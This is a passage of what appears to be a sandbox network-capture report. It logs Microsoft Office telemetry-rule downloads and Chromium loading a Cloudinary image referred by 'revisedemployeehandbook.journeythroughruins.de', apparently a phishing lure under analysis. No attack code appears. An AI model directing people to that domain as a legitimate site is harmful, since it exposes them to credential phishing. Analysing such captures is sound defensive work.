2025-04-02 06:39:13 UTC	199	OUT	GET /rules/rule120600v5s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:13 GMT Content-Type: text/xml Content-Length: 3870 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 19 Nov 2024 13:00:34 GMT ETag: "0x8DD089A27B58D5A" x-ms-request-id: c912d40f-601e-0097-1c07-a2f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063913Z-17cccd5449bj2v8mhC1EWR5asn0000000f9g00000000hxed x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	3870	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="5" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.17	49734	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:13 UTC	199	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 477a96fb-b01e-0070-6999-a31cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063913Z-17cccd5449bsm7zrhC1EWR8efs0000000htg000000008d5r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49736	104.77.220.51	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	677	OUT	GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1 Host: res.cloudinary.com Connection: keep-alive sec-ch-ua: "Not.A/Brand";v="8", "Chromium";v="114" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://revisedemployeehandbook.journeythroughruins.de/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:39:14 UTC	831	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 21873 ETag: "568f3323a159c49c955a6e9e5ce8ac4d" Last-Modified: Sat, 15 Mar 2025 15:34:29 GMT Date: Wed, 02 Apr 2025 06:39:14 GMT Connection: close Cache-Control: public, no-transform, immutable, max-age=2592000 x-request-id: 66832d6d13078dacf529e15646e9e921 Access-Control-Expose-Headers: Content-Length,Content-Disposition,Content-Range,Etag,Server-Timing,Vary,X-Cld-Error,X-Robots-Tag,X-Content-Type-Options Access-Control-Allow-Origin: * Accept-Ranges: bytes Timing-Allow-Origin: * Server: Cloudinary Strict-Transport-Security: max-age=604800 X-Content-Type-Options: nosniff Server-Timing: cld-akam;dur=30;start=2025-04-02T06:39:14.053Z;desc=hit,rtt;dur=92,content-info;desc="width=2016,height=2016,bytes=21873,format=\"png\",o=1,crt=1742052868,ef=(17)"
2025-04-02 06:39:14 UTC	15553	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 e0 00 00 07 e0 08 06 00 00 00 f6 b1 41 ec 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 20 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 30 20 36 31 2e 31 33 34 37 37 37 2c 20 32 30 31 30 2f 30 32 2f 31 32 2d 31 37 3a 33 32 3a 30 30 20 20 Data Ascii: PNGIHDRAtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
2025-04-02 06:39:14 UTC	6320	IN	Data Raw: 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 Data Ascii: @@<x @@<x @@<x

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.17	49737	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: acc6ec1c-001e-002b-3999-a399f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449bqnwr7hC1EWRa660000000151g000000000hc3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.17	49739	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 557ef69d-801e-002a-6399-a331dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449bj2jgkhC1EWRr8fn00000005e0000000004n43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.17	49738	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c3e0ec5a-f01e-0052-5b99-a39224000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449bkr6n6hC1EWRx10800000003h000000000p4nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.17	49740	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: f09da672-401e-0035-4b99-a382d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449bq6f54hC1EWRb85w0000001500000000004981 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.17	49741	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:14 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 69bb7527-f01e-001f-2b99-a35dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449b6vb9jhC1EWRfnfg00000014x000000000c2kb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49742	104.77.220.51	443	3392	C:\Users\user\AppData\Local\Chromium\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	436	OUT	GET /dxetjqzbe/image/upload/v1742052868/6059C6BA-9C9F-4199-8218-8895A9F0C3C8_ctielh.png HTTP/1.1 Host: res.cloudinary.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
2025-04-02 06:39:14 UTC	830	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 21873 ETag: "568f3323a159c49c955a6e9e5ce8ac4d" Last-Modified: Sat, 15 Mar 2025 15:34:29 GMT Date: Wed, 02 Apr 2025 06:39:14 GMT Connection: close Cache-Control: public, no-transform, immutable, max-age=2592000 x-request-id: 66832d6d13078dacf529e15646e9e921 Access-Control-Expose-Headers: Content-Length,Content-Disposition,Content-Range,Etag,Server-Timing,Vary,X-Cld-Error,X-Robots-Tag,X-Content-Type-Options Access-Control-Allow-Origin: * Accept-Ranges: bytes Timing-Allow-Origin: * Server: Cloudinary Strict-Transport-Security: max-age=604800 X-Content-Type-Options: nosniff Server-Timing: cld-akam;dur=8;start=2025-04-02T06:39:14.690Z;desc=hit,rtt;dur=90,content-info;desc="width=2016,height=2016,bytes=21873,format=\"png\",o=1,crt=1742052868,ef=(17)"
2025-04-02 06:39:14 UTC	15554	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 e0 00 00 07 e0 08 06 00 00 00 f6 b1 41 ec 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 20 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 30 2d 63 30 36 30 20 36 31 2e 31 33 34 37 37 37 2c 20 32 30 31 30 2f 30 32 2f 31 32 2d 31 37 3a 33 32 3a 30 30 20 20 Data Ascii: PNGIHDRAtEXtSoftwareAdobe ImageReadyqe< iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00
2025-04-02 06:39:14 UTC	6319	IN	Data Raw: 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 10 e0 01 00 00 00 00 00 00 20 20 c0 03 00 00 00 00 00 00 40 40 80 07 00 00 00 00 00 00 80 80 00 0f 00 00 00 00 00 00 00 01 01 1e 00 00 00 00 00 00 00 02 02 3c 00 00 00 00 00 00 00 04 04 78 00 00 00 00 00 00 00 08 08 f0 00 00 00 00 00 00 00 10 Data Ascii: @@<x @@<x @@<x

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.17	49744	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-04-02 06:39:15 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 02 Apr 2025 06:39:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 97ccc31d-101e-00a2-5f99-a39f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20250402T063914Z-17cccd5449b89qrjhC1EWR2298000000151g000000000fyx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2025-04-02 06:39:15 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.17	49743	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2025-04-02 06:39:14 UTC	199	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
